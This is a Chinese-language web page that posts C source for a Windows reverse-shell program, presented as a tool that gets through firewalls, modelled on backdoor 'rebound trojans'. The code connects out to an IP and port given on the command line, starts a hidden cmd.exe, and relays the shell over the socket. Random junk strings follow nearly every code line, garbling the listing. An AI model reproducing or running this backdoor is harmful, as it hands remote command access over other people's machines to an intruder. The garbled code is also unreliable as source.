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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +GYS26  
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/* ============================== @^'$r&M  
Rebound port in Windows NT wDMjk2 YN  
By wind,2006/7 Ssw&'B|o  
===============================*/ #\LZ;&T'N  
#include Nl { 7  
#include V'j@K!)~xR  
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#pragma comment(lib,"wsock32.lib") j AQU~Ol_  
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void OutputShell(); 7u::5W-q  
SOCKET sClient; pr$~8e=c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D;jK/2  
:&9TW]*g  
void main(int argc,char **argv) wYjQ V?,  
{ #sZIDn J#  
WSADATA stWsaData; %&tb9_T)d  
int nRet; .1LPlZ  
SOCKADDR_IN stSaiClient,stSaiServer; gJh}CrU-  
./7v",#*.'  
if(argc != 3) {c@G$  
{ @UO}W_0ZD  
printf("Useage:\n\rRebound DestIP DestPort\n"); \-c#jo.$8  
return; 5KJ%]B(H2  
} 5/ * >v  
srK53vKMHW  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'y.JcS!|  
;\x~'@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HxZ.OZbR  
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stSaiClient.sin_family = AF_INET; +;dXDZ2  
stSaiClient.sin_port = htons(0); q? 9GrwL8F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); uH\w.  
4%J|DcY2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5,R`@&K3D  
{ NF mc>0-  
printf("Bind Socket Failed!\n"); DT\ym9  
return; {]`p&@  
} f?^S bp  
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stSaiServer.sin_family = AF_INET; Gm A!Mo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yUe+":7k.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =Dk7RKoHF  
@\jQoaLT$_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yj zK.dM  
{ ~RInN+N#  
printf("Connect Error!"); @VK6JjIq  
return; ZdH1nX(Yh3  
} /c#l9&,  
OutputShell(); Sy  
} JDA]t&D!v  
Y\( ;!o0a  
void OutputShell() 'I v_mig  
{ 6,+nRiZ  
char szBuff[1024]; *ik/p  
SECURITY_ATTRIBUTES stSecurityAttributes; #9:2s$O[x  
OSVERSIONINFO stOsversionInfo; bi$VAYn.^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mxp Y&Y  
STARTUPINFO stStartupInfo; 0hwj\{"  
char *szShell; |dk[cX>  
PROCESS_INFORMATION stProcessInformation; +s~.A_7)  
unsigned long lBytesRead; H^ BYd%-  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pj; I)-d/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k ZxW"2  
stSecurityAttributes.lpSecurityDescriptor = 0;  iSiDSeW8  
stSecurityAttributes.bInheritHandle = TRUE; rwgsXS8W6  
J +q|$K6  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lhO2'#]i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pl78fs"L@  
Qx t@ V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g5Td("& n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /:p8I6;  
stStartupInfo.wShowWindow = SW_HIDE; RJ}#)cT  
stStartupInfo.hStdInput = hReadPipe; wkBL=a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3?`"  
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GetVersionEx(&stOsversionInfo); #epy%>  
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switch(stOsversionInfo.dwPlatformId) pbLGe'  
{ d~Mg vh'  
case 1: S GM!#K  
szShell = "command.com"; IzUo0D*@  
break; &{z<kmc$6  
default: P^i.La,  
szShell = "cmd.exe"; < kP+eD  
break; d#>y}H9  
} *7RvHHf  
CT*,<l-D  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h}&b+ 1{X  
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send(sClient,szMsg,77,0); KOSQQf o  
while(1) }l;Lxb2`  
{ ~pz FZ7n4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tsv$r$Se  
if(lBytesRead) u|fXP)>.  
{ ]db@RbaH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5<+KR.W  
send(sClient,szBuff,lBytesRead,0); K5k?H  
} h{_*oBa  
else %e_"CS  
{ Qf@iU%G  
lBytesRead=recv(sClient,szBuff,1024,0); X3B{8qx_>  
if(lBytesRead<=0) break; j*3}1L4P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "HlgRp]u  
} Ns=AjhLc z  
} "b,%8  
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return; #/ "+  
}
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